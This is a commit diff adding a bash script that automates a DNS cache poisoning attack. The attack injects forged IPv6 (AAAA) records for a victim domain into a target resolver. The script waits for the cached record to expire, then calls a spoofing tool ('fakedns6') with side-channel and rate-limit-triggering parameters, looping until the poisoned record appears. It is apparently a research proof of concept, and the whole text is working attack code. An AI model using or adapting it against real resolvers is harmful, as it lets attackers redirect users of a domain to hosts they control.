first commit

4_v6_injection/attack.sh

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+#!/bin/bash
+# This is a sample attack script and may not work properly. Please adjust the parameter accordingly.
+# $1 for victim resolver IP, $2 for attacker-controlled domain, $3 for iface name, $4 for victim domain name, $5 for victim domain nameserver IP
+# Please run with sudo.
+
+# Verify the existing record domain, just for proof purposes.
+echo '获取原记录中:'
+dig @$1 $4 AAAA
+sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'`
+
+var=0
+num=0
+success=0
+while [ $success -ne 1 ]
+do
+  success=0
+  echo "等待缓存过期，$sleeptime秒之后开始攻击..."
+  sleep $sleeptime
+  echo "开始攻击"
+  # flood
+  echo "攻击参数："
+  echo "目标域名权威服务地址:$5"
+  echo "目标解析服务地址:$1"
+  echo "目标域名:$4"
+  ret=$(./dns_query.sh $1 $2 $3 $4)
+  #echo "ret:$ret"
+  echo "初始化工具环境"
+  sleep 1
+  echo "尝试触发权威服务器请求速率限制"
+  sleep 3
+  FINAL=`echo ${ret: -1}`
+  #echo "fin:$FINAL"
+  # Start attack
+  # Change the argument accordingly
+  echo "执行侧信道攻击脚本中"
+  ./fakedns6 -a $5 -b $1 -i $3 -n $4 -r $1 -t 50000 -at $2 -tg 0 -s 10000 -e 65000 -j 0
+  # a - 进行域名缓存投毒的权威服务器
+  # b -
+  sleep 30
+  # Validations
+  ((var++))
+  echo "第$var轮次攻击结束"
+  dig @$1 $4 AAAA
+  if [ "$FINAL" == "0" ];then
+	success=1
+	sleeptime=0
+  fi
+  echo '如果结果未改变, 需要等待原缓存过期. 或者按 Ctrl-C取消攻击.'
+done
+# success
+echo '检测到攻击成功实现'
+echo '等待两秒，再次请求...'
+sleep 2
+dig @$1 $4 AAAA
+echo '攻击已完成！！！！'